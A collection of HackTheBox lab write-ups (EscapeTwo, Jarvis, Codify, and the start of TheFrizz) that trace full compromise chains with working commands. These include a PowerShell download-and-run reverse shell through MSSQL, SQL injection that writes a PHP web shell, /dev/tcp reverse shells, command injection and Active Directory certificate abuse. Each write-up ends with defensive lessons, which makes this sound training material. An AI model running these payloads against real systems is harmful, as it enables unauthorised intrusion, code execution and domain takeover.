1. Target Overview

Machine Name: EscapeTwo
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.128
Objective: Obtain Domain Administrator access

This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.

The overall attack path ended up being a clean chain:

• SMB → credential exposure

• MSSQL → remote code execution

• Configuration files → credential reuse

• ACL abuse → account takeover

• AD CS → full domain compromise

Tools Used

• Rustscan

• Nmap

• NetExec (nxc)

• smbclient

• xmllint

• BloodHound / RustHound

• BloodyAD

• Certipy

• Evil-WinRM

2. Enumeration

Initial Network Scan

I began with a fast port scan using Rustscan:

rustscan -a 10.129.232.128 -b 6000

From this, I identified several key services:

• 53 → DNS

• 88 → Kerberos

• 135 / 139 / 445 → RPC / SMB

• 389 → LDAP

• 1433 → MSSQL

Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:

• OS command execution (xp_cmdshell)

• Hash theft (xp_dirtree)

I made a mental note to come back to this later if I could obtain credentials.

During LDAP-related output, I also observed the domain FQDN:

DC01.sequel.htb

To ensure proper domain interaction, I added it to my hosts file.

Starting Point (Assumed Breach)

I was given valid credentials:

rose : KxEPkKe6R8su

Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.

Enumerating Domain Users

My first step was to build a list of domain users:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

This revealed several users, including:

• sql_svc

• ryan

• ca_svc

At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.

BloodHound (Initial Pass)

Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.

I checked:

• Group memberships

• Privileges

• Attack paths

At this point, rose did not have any useful privileges or attack paths, so I moved on.

SMB Enumeration

Next, I checked SMB access:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

I saw:

• Users → READ

• Accounting Department → READ

Before diving into SMB, I also checked WinRM:

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

This failed, confirming I could not get a shell directly.

So SMB became my next focus.

Share Enumeration (Targeted Approach)

Rather than manually browsing shares, I used spider_plus to quickly enumerate files:

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

After reviewing the output:

• Users → mostly default .lnk files (noise)

• Accounting Department → two Excel files

That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.

Extracting and Analyzing Files

I downloaded both files:

smbclient -U rose //10.129.232.128/'Accounting Department'

Inside smbclient:

get accounting_2024.xlsx
get accounts.xlsx

Since .xlsx files are just ZIP archives, I extracted one:

unzip accounting_2024.xlsx

This gave me a directory structure with XML files.

The key file for content is:

xl/sharedStrings.xml

I formatted it for readability:

xmllint --format xl/sharedStrings.xml

Inside, I found plaintext credentials:

Username: sa Password: MSSQLP@ssw0rd!

3. Exploitation

MSSQL Authentication

I tested the credentials against MSSQL:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

Authentication succeeded.

Now I had direct access to the database server.

Testing Command Execution

Next, I needed to determine whether I could execute system commands.

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

Output:

sequel\sql_svc

This confirmed two critical things:

1. xp_cmdshell is enabled

2. Commands execute as the SQL Server service account (sql_svc)

This is powerful because:

• I now have OS-level execution

• I’m running as a domain account, not just a database user

  

Getting a Reverse Shell

To stabilize access, I executed a PowerShell reverse shell:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"

Listener:

Connection received.

I now had a shell as:

sequel\sql_svc

At this point, exploitation is complete — I have a foothold.

4. Privilege Escalation

Local Enumeration

I started with basic checks:

whoami /all

Nothing useful.

Next, I looked at the root directory:

gci C:\

I noticed something unusual:

SQL2019

Non-standard directories are always worth investigating.

Configuration File Discovery

I navigated into it:

cd C:\SQL2019\ExpressAdv_ENU

Then listed files:

gci

One file stood out:

sql-configuration.ini

I opened it:

type sql-configuration.ini

Inside:

SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3

This was another credential — and likely reusable.

Password Spraying

I tested the password across all users:

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

Results:

• ryan → valid

• sql_svc → valid

Now I had a new user: ryan

Revisiting BloodHound (Critical Step)

At this point, I had new credentials.

That means:

I need to re-check BloodHound.

This is where many people miss paths.

Now I saw:

• ryan → WriteOwner over ca_svc

Understanding WriteOwner

WriteOwner allows me to:

• Change the owner of an object

• Once owner → grant myself full permissions

So this is effectively:

Indirect full control over the account

Taking Over ca_svc

I used BloodyAD:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

Then granted full control:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

Now I fully controlled ca_svc.

Shadow Credentials Attack

Instead of resetting the password (noisy), I used Shadow Credentials:

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

This works by:

• Adding a certificate to the account

• Allowing authentication without password

Now I could authenticate as ca_svc.

AD CS Enumeration

I checked for certificate abuse:

certipy find -u ca_svc -hashes <hash> -dc-ip 10.129.232.128

I found:

• Vulnerable template → ESC4

ESC4 Abuse

ESC4 allows modification of certificate templates.

I modified the template:

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

Then requested a certificate as Administrator:

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

This generated:

administrator.pfx

Domain Administrator Access

I authenticated using the certificate:

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

This gave me the Administrator NT hash.

Final step:

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

I now had full Domain Admin access.

5. Lessons Learned

• SMB shares are still one of the easiest ways to leak credentials

• MSSQL is a powerful pivot point when exposed internally

• Configuration files frequently expose reusable credentials

• Password reuse is still extremely common

• BloodHound must be revisited after every privilege change

• WriteOwner is effectively a full takeover primitive

• Shadow Credentials provide stealthy persistence and access

• AD CS misconfigurations are one of the most dangerous escalation paths today

6. Defensive Insight

• Restrict SMB access and audit file exposure

• Never store plaintext credentials in files

• Disable or restrict xp_cmdshell

• Enforce password uniqueness across accounts

• Monitor ACL changes (especially ownership changes)

• Audit AD CS templates regularly

• Monitor certificate enrollment activity

Useful Commands

rustscan -a 10.129.232.128 -b 6000

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares

nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su

nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'

smbclient -U rose //10.129.232.128/'Accounting Department'

unzip accounting_2024.xlsx

xmllint --format xl/sharedStrings.xml

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami

rlwrap nc -nlvp 7777

nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan

bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc

certipy template -u ca_svc -hashes <hash> -template DunderMifflinAuthentication

certipy req -u ca_svc -hashes <hash> -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128

certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

evil-winrm -i 10.129.232.128 -u administrator -H <hash>

• Machine Name: Jarvis

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.229.137

• Objective: Obtain initial access and escalate privileges to root

Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: SQL injection and command injection.

On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.

Tools Used

1. Nmap

Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.

2. FFUF

Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.

3. Browser / Manual Inspection

Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.

4. Burp Suite

Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.

5. SQL Injection Payloads

While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.

6. xxd

Used to hex-encode the PHP payload before writing it to disk through the SQL injection.

1. Netcat

Used as the reverse shell listener for both the initial web shell callback and the final root shell.

GTFOBins

Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.

2. Enumeration Phase

As always, I began with an nmap scan to establish the initial attack surface. The scan revealed three open ports:

• 22/tcp – SSH

• 80/tcp – HTTP

• 64999/tcp – HTTP

At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports 80 and 64999.

To get a quick sense of what each application exposed, I used a combination of manual browsing and directory enumeration with ffuf.

The web service on port 64999 turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on port 80.

The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.

While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named cod.

The URL looked like this:

http://10.129.229.137/room.php?cod=1

That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for SQL injection testing.

To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.

At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the cod parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.

3. Exploitation Phase

Confirming and Working Through the SQL Injection

After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to sqlmap and let it do the heavy lifting. That is usually the sensible move because sqlmap can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned 404 errors rather than useful enumeration results.

Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been blocked for 90 seconds. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.

That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:

“Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”

This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.

Determining the Number of Columns

When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.

To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.

From there, I gradually added columns to the UNION SELECT statement until the page rendered successfully. The working payload was:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--

That told me the backend query used 7 columns.

Once I had that number, I could begin using those positions to retrieve useful information from the database.

Identifying the Database Backend

With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.

To answer that, I replaced one of the visible positions with @@version:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--

The application returned version information indicating that the backend was MySQL/MariaDB.

That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as load_file() and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:

“Can this database access help me get remote code execution on the web server?”

Checking for File Write Privileges

For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the FILE privilege.

To check that, I used the following payload:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--

The query returned:

Y

A result of Y meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.

This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.

Verifying File Read Access and Discovering the Web Root

Before writing anything, I needed to answer another critical question:

“Where exactly do I need to write the file so I can reach it through the browser?”

To solve that, I first tested whether I could read files from the host at all. A good file to test with is /etc/passwd, since it almost always exists on Linux systems and is readable.

I used:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--

The contents were successfully returned, which confirmed that file reads were possible.

Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--

That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:

/var/www/html

Now I had everything I needed for the next stage:

• A confirmed SQL injection

• A MySQL/MariaDB backend

• File read capability

• File write privilege

• The likely web root

That is the exact combination needed to attempt a web shell.

Writing a PHP Web Shell with SQL Injection

With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.

I chose a very simple PHP web shell:

<?php system($_GET['cmd']); ?>

Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.

I generated the hex with:

echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'

Which produced:

3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a

With that prepared, I used SQL syntax to write the file into the web root:

http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--

The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the cmd parameter.

Turning the Web Shell into Remote Code Execution

To verify that the file had been written successfully and that the server was executing it, I browsed to:

http://10.129.229.137/neo.php?cmd=id

The command executed successfully.

That was the moment the attack moved from SQL injection to full remote code execution. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.

From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.

That gave me an initial shell as:

www-data

Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.

At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.

4. Privilege Escalation

Escalating from www-data to pepper

Once I had an interactive shell as www-data, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect sudo permissions, because misconfigured sudo rules often provide a direct path to another user or even to root.

So I ran:

sudo -l

The reason for this check is simple: sudo -l tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.

In this case, the output showed that www-data could run the following Python script as the user pepper with NOPASSWD:

/var/www/Admin-Utilities/simpler.py

That result gave me a clear next objective:

“Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”

When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:

os.system('ping ' + command)

That is the real vulnerability. The danger is not simply that the script runs ping. The danger is that it builds a shell command using unsafely handled user input and then executes that string through os.system(). Once input is evaluated by a shell, all of the shell’s parsing rules come into play.

The script’s author had attempted to block dangerous characters such as &, ;, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.

In this case, the script did not account for command substitution, which uses the syntax:

$(command)

That matters because the shell evaluates the contents of $(...) before finishing the rest of the command. So even if obvious separators like ; are blocked, command substitution may still result in arbitrary execution.

To test that, I ran the script as pepper and supplied:

$(/bin/bash)

The command looked like this:

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

When the script prompted for an IP, I entered:

$(/bin/bash)

This worked because the shell interpreted the substitution before carrying out the intended ping command. As a result, I obtained a shell as:

pepper

That completed the first privilege escalation step. I had moved from the low-privileged web account www-data to a real local user account, which significantly expanded the chances of reaching root.

Escalating from pepper to root

Now that I had a shell as pepper, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate SUID binaries.

SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.

To enumerate SUID binaries, I ran:

find / -type f -perm -4000 2>/dev/null

This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:

/bin/systemctl

That is unusual.

The reason this caught my attention right away is that systemctl is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID systemctl, there is a strong chance they can turn that into arbitrary command execution as root.

At that point, my reasoning became:

“This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”

For that, I referenced GTFOBins, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that systemctl can indeed be leveraged to gain code execution as root when misconfigured this way.

The abuse path was clear: create a malicious service unit whose ExecStart launches a reverse shell, then use systemctl to link and start that service. If the SUID configuration causes systemctl to operate with elevated privileges, the service will run as root.

So I created the following service file in my home directory:

[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.15.205/9001 0>&1"
[Install]
WantedBy=multi-user.target

There are two important ideas here:

1. The ExecStart line is what matters most. That is the command systemd will execute when the service runs.

2. Because the service is being managed through a SUID systemctl, the expectation is that it will be started with root’s privileges.

After creating the service file, I linked and started it with:

systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service

On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:

root

That completed the final privilege escalation step. From initial web access as www-data, I had moved to pepper, and from there to full root compromise through a misconfigured SUID systemctl.

5. Lessons Learned

1. Automation is useful, but it is not understanding

This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point sqlmap at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.

That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.

2. A weak defensive control can still change the attacker’s workflow

The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.

The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.

3. SQL injection should always be evaluated for impact beyond data theft

It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.

That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.

4. Blacklist filtering is a bad habit

The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.

In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.

5. Unusual SUID binaries should always be treated as suspicious

When I enumerated SUID files, systemctl stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.

That kind of misconfiguration is quiet, simple, and devastating.

6. Defensive Insight

1. Parameterized queries would have stopped the initial compromise

The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.

2. Database accounts should follow least privilege

Even after the injection existed, the damage became much worse because the database user had the FILE privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.

3. Temporary blocking is not the same as robust protection

The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.

4. Shelling out with user input is dangerous

The privilege escalation path from www-data to pepper existed because the Python script passed user-controlled input into os.system(). That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.

The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.

5. SUID permissions should be audited carefully

The final escalation to root was only possible because systemctl had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.

Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.

Useful Commands

Directory Enumeration Against the Web Servers

ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt

This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.

Manual SQLi Column Count Test

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--

I used this to determine that the vulnerable query expected 7 columns, which was necessary before moving on to more meaningful UNION SELECT payloads.

Database Version Identification

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--

This confirmed the backend was MySQL/MariaDB, which shaped the rest of the exploitation strategy.

Checking Database File Privileges

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--

This told me whether the database account could write files to disk. A result of Y meant that writing a web shell was possible.

Reading Files Through SQLi

http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--

I used load_file() first to confirm file read access and later to validate the correct web root by reading known web assets.

Hex-Encoding the PHP Web Shell

echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'

This converted the PHP payload into a format that was easier to place into the SQL write query.

Writing the PHP Shell to the Web Root

http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--

This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.

Testing Command Execution

http://10.129.229.137/neo.php?cmd=id

This verified that the file had been written correctly and that the web server was executing the PHP shell.

Enumerating SUID Binaries

find / -type f -perm -4000 2>/dev/null

This identified SUID binaries available to pepper and revealed the unusual and highly exploitable systemctl entry.

Linking and Starting the Malicious Service

systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service

These commands caused the malicious service file to be recognized and started, resulting in a root shell.

• Machine Name: Codify

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.15.49

• Objective: Gain user and root access

Codify was a well-rounded machine that started off with a fairly straightforward web application exploit that quickly led to remote code execution. While the initial foothold came easily, the real value of this box came from the privilege escalation phase, which revolved around a subtle but very realistic Bash scripting mistake involving unquoted variables.

Tools Used

• RustScan

• Nmap

• FFUF

• Searchsploit

• Netcat

• John the Ripper

• Pspy

• Python HTTP Server

• Bash

2. Enumeration

Nmap Scan

rustscan -a 10.129.15.49 -b 7000

As always, I started with a port scan to understand the attack surface. The results showed three open ports: SSH on 22, an Apache web server on port 80, and another web service running on port 3000 backed by Node.js Express.

One thing that immediately stood out was a redirect to http://codify.htb. That told me I needed to add the domain to my /etc/hosts file before continuing. From there, I made a conscious decision to focus on the web applications first since they typically provide the largest attack surface, while keeping SSH in mind in case credentials surfaced later.

Web Enumeration

I began by checking for additional subdomains since the application was already using a virtual host.

ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20

This didn’t return anything useful, so I moved on to directory brute forcing:

ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt

While this was running in the background, I manually browsed the application on port 80. The main page presented a Node.js code execution interface where users could input and run JavaScript. That immediately stood out—any system that executes user input, even in a “sandbox,” deserves a closer look.

Clicking into the /about page turned out to be the key step here. It revealed that the application used the vm2 library version 3.9.16 for sandboxing. That was a huge find and shifted my focus toward researching that specific component.

3. Exploitation

Web Application Analysis

With the vm2 version disclosed, I used searchsploit to check for known vulnerabilities:

searchsploit vm2
searchsploit -x 51898.c

I found a sandbox escape affecting the exact version in use. The exploit abused allowed functionality within vm2 to break out of the sandbox and execute system commands.

To verify execution, I tested a simple command:

pwd

The output returned /home/svc, confirming that I had achieved remote code execution.

Foothold

Once I confirmed RCE, I moved to establish a reverse shell. I hosted a payload on my machine:

echo 'bash -i >& /dev/tcp/10.10.15.205/7777 0>&1' > shell.sh
python3 -m http.server 80

Then set up a listener:

nc -nvlp 7777

After triggering the payload through the web interface,

I received a shell as the svc user. I upgraded it immediately to make it interactive:

python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

4. Privilege Escalation

Initial Enumeration

I began with basic checks:

whoami
sudo -l

There were no sudo privileges for svc, so I looked for other users on the system:

grep "sh$" /etc/passwd

I identified joshua and root, which suggested that lateral movement would likely be required.

Finding Credentials

Following my checklist, I explored the web directory:

cd /var/www/

I searched for files that might contain credentials:

find . -type f -name "*.db" 2>/dev/null
find . -type f -name "*conf*" 2>/dev/null

This led me to /var/www/contact/tickets.db, which contained a bcrypt hash for the joshua user.

I cracked the hash using John:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt

The password was spongebob1. I tested it against SSH:

ssh joshua@codify.htb

The login succeeded, confirming password reuse.

Privilege Escalation Vector

Once logged in as joshua, I checked sudo permissions:

sudo -l

I discovered that I could run /opt/scripts/mysql-backup.sh as root. This immediately stood out as a potential escalation path, so I examined the script closely.

Root Exploit

The script contained a flawed password check:

if [[ \(DB_PASS == \)USER_PASS ]]

Because the variables were not quoted, Bash interpreted the comparison as pattern matching rather than a strict equality check. This allowed me to bypass authentication by entering:

*

Additionally, the script passed the root password to mysqldump via a command-line argument, exposing it in running processes. To capture this, I used pspy:

wget http://10.10.15.205/pspy
chmod +x pspy
./pspy

In another session, I executed the script:

sudo /opt/scripts/mysql-backup.sh

After entering *, the script ran successfully. Monitoring pspy, I observed the root password in plaintext within the process arguments.

I then switched to root:

su root

The system was fully compromised.

5. Lessons Learned

1. Version Disclosure Enables Targeted Exploitation

Exposing the exact version of vm2 made it trivial to identify a working exploit. This reinforced how dangerous version disclosure can be in real environments.

2. Third-Party Libraries Are Part of the Attack Surface

The vulnerability wasn’t in the application itself, but in a dependency. This highlights the importance of auditing and updating all components, not just core code.

3. Unquoted Variables in Bash Can Break Security Logic

Failing to quote variables led to pattern matching instead of strict comparison, completely bypassing authentication.

4. Process Arguments Can Leak Sensitive Data

Passing the root password via command-line arguments exposed it to any user capable of monitoring processes, making privilege escalation trivial.

6. Defensive Insight

1. Avoid Exposing Internal Version Information

Applications should not disclose library versions, especially when those components are security-critical.

2. Keep Dependencies Patched and Updated

Outdated libraries—particularly sandboxing mechanisms—can completely undermine application security.

3. Always Quote Variables in Bash Scripts

"$VAR"
Proper quoting ensures comparisons behave as intended and prevents pattern-matching abuse.

4. Never Pass Credentials via Command-Line Arguments

Sensitive data should be handled securely through protected configurations or environment variables, not exposed in process listings.

Useful Commands

Port Scanning

rustscan -a 10.129.15.49 -b 7000

Subdomain Enumeration

ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20

Directory Brute Force

ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt

Exploit Lookup

searchsploit vm2

Hash Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Process Monitoring

./pspy

Machine Name: TheFrizz
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.168
Objective: Gain initial access to the domain, pivot through multiple user contexts, and fully compromise the environment by abusing Group Policy permissions.

